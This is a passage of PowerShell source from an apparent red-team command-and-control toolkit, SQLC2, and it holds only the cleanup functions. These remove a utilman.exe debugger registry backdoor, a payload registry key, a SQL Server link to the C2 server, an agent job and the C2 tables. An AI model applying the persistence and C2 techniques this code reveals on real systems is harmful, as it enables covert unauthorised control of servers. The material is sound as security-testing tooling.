                Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe"
                Write-Verbose " - Utilman.exe debugger registry keys removed."
            }catch{
                Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe."
            }
        }else{
            Write-Verbose " - SQLC2AgentPS utilman.exe debugger registry key does not exist."
        }

        # Remove payload from registry
        Write-Verbose "Remove payload registry keys."
        if(Test-Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\)
        {
            try{
                Remove-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\
                Write-Verbose " - Registry keys removed."
            }catch{
                Write-Verbose " - Unable to remove registry key HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SQLC2AgentPS\."
            }
        }else{
            Write-Verbose " - SQLC2AgentPS payload registry key does not exist."
        }
    }

    End
    {
    }
 }


# ----------------------------------
# Uninstall-SQLC2AgentLink
# ----------------------------------
# Author: Scott Sutherland
Function Uninstall-SQLC2AgentLink
{
    <#
            .SYNOPSIS
            This command removes the C2 server link and agent job from the agent SQL Server.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            The instance of the C2 link agent.
            .EXAMPLE
            PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Username sa -Password 'MyPassword123!'
            .EXAMPLE
            PS C:\> Uninstall-SQLC2Agent -Verbose -Instance "SQLServer1\STANDARDDEV2014"
    #>

    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable

        if($ServerName){
            $ServerFilter = "WHERE servername like '$ServerName'"
        }else{
            $ServerFilter = ""
        }
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to remove the C2 link agent on $Instance."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Setup query
        $Query = "
                -- Remove server link to SQL C2 Server
                IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'SQLC2Server') = 1
                    exec sp_dropserver 'SQLC2Server', 'droplogins';
                else
                    select 'The server link does not exist.'
 
                -- Remove C2 agent job
                IF (SELECT count(*) FROM [msdb].[dbo].[sysjobs] job WHERE name like 'SQLC2 Agent Job') = 1
                    EXEC msdb..sp_delete_job @job_name = N'SQLC2 Agent Job' ;
                else
                    select 'The agent job does not exist.'"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 
    }

    End
    {
        Write-Verbose "$instance : Done."
    }
 }


# ----------------------------------
# Uninstall-SQLC2Server
# ----------------------------------
# Author: Scott Sutherland
Function Uninstall-SQLC2Server
{
    <#
            .SYNOPSIS
            This command removes the C2 related tables on the C2 SQL Server.
            .PARAMETER Instance
            C2 SQL Server instance.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .EXAMPLE
            PS C:\> Uninstall-SQLC2Server -Verbose -Instance "mysqlserver.database.windows.net" -Database Database1 -Username sa -Password 'MyPassword123!'
            .EXAMPLE
            PS C:\> Uninstall-SQLC2Server -Verbose -Instance "SQLServer1\STANDARDDEV2014" -Database Database1
    #>

    [CmdletBinding()]
    Param(

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
                ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server database used to store the C2 tables.')]
        [string]$Database,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose "$instance : Attempting to remove the C2 tables from $Database database on $Instance."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }     
        
        # Setup query to grab commands
        $Query = "
 
                -- Remove command table
                IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2COMMANDS') = 1
                    DROP TABLE C2COMMANDS
                ELSE
                    SELECT 'C2COMMANDS table does not exist.'
 
                -- Remove agent table
                IF(SELECT count(*) FROM [INFORMATION_SCHEMA].[TABLES] WHERE TABLE_NAME like 'C2AGENTS') = 1
                    DROP TABLE C2AGENTS
                ELSE
                    SELECT 'C2AGENTS table does not exist.'"


        # Execute Query
        $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 
        if(($TblResults | Measure-Object | Select count -ExpandProperty count) -eq 1){
            Write-Verbose -Message "$Instance : C2 tables did not exist."
        }
    }

    End
    {
        Write-Verbose "$instance : Please note that any databases create with have to be removed manually."
        Write-Verbose "$instance : Done."
    }
 }